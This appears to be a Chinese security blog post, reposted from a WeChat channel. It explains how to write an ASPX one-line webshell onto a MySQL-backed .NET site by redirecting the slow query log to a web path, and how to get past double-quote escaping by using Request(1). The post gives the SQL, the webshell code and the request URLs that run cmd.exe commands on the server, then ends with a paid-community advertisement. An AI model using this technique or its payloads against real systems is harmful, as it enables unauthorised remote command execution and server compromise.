.NET下规避双引号实现MySQL写入Shell
2022-10-13 09:1:25 Author: dotNet安全矩阵(查看原文) 阅读量:19 收藏

.NET安全矩阵群有位师傅私聊说明遇到Mysql写ASPX一句话木马总报错的问题,经过一连串的测试发现只要代码里出现双引号就会像PHP一样自动转义成\",本文也是记录解决这个问题的大致过程

1.1 应用场景

站点是基于mysql+aspx架构设计,root账户写.net一句话木马报错问题,已知的前置条件是Mysql > 5.6.34,因为较高版本的Mysql有secure_file_priv,所以不能通过outfile写shell,只能用写log日志的方式尝试拿shell,定向写入日志文件SQL如下

set global slow_query_log = 1;set global slow_query_log_file='d:/logshell.aspx';

开启后通过URL请求注入点写入这段 <%Shell("cmd.exe /c " & System.Web.HttpContext.Current.Request("content"))%> 会报错,原因在于这个aspx站对双引号做了转义处理,这样就变成了 \"cmd.exe/c \",导致无法正常写入

遇到这个对单引号、双引号做转义的场景时,可以用类似php里参数传递数字即可,这里改成 System.Web.HttpContext.Current.Request(1),如果要看回显内容需要曲线将结果写入站点路径下的文本里,所以传递的payload如下,成功将tasklist写入到2.txt文件里

/logshell.aspx?1=cmd.exe%20/c%20tasklist%20>%20c:\\windows\\temp\\2.txt

写这里需要注意一点,直接请求logshell.aspx时会抛出Pathname错误,不用慌只需传递参数1即可,例如下图成功将tasklist写入到2.txt文件里

如果不想回显,可直接请求/logshell.aspx?1=c:\windows\system32\calc.exe运行可执行文件

这样就实现了规避单双引号字符,成功利用Mysql写入aspx一句话木马,最后看到师傅完成任务,我也特别高兴,师傅还要写个完整版的文章投稿到知识星球里,非常欢迎。工具已打包在星球,感兴趣的师傅可以自行研究测试。

免责声明 由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号dotnet安全矩阵及作者承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

为了更好地应对基于.NET技术栈的风险识别和未知威胁,dotNet安全矩阵星球从创建以来一直聚焦于.NET领域的安全攻防技术,定位于高质量安全攻防星球社区,得到了许多师傅们的支持和信任,通过星球深度连接入圈的师傅们,一起推动.NET安全高质量的向前发展星球提供50元代金劵,师傅们先到先得噢!扫描星球亮点里的二维码即可加入我们。

星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET安全资源,可以说市面上很少见,都是干货。其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等,后续还会倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。

dotNet安全矩阵知识星球 — 聚焦于微软.NET安全技术,关注基于.NET衍生出的各种红蓝攻防对抗技术、分享内容不限于 .NET代码审计、 最新的.NET漏洞分析、反序列化漏洞研究、有趣的.NET安全Trick、.NET开源软件分享、. NET生态等热点话题、还可以获得阿里、蚂蚁、字节等大厂内推的机会.


文章来源: http://mp.weixin.qq.com/s?__biz=MzUyOTc3NTQ5MA==&mid=2247486630&idx=1&sn=2d91e4db5b7ef00b502708f3be3ed6d2&chksm=fa5aa24bcd2d2b5d47c1166f01da776d4699efb04c3851c0c24d21d81f090f3d894d4c48190a#rd
如有侵权请联系:admin#unsafe.sh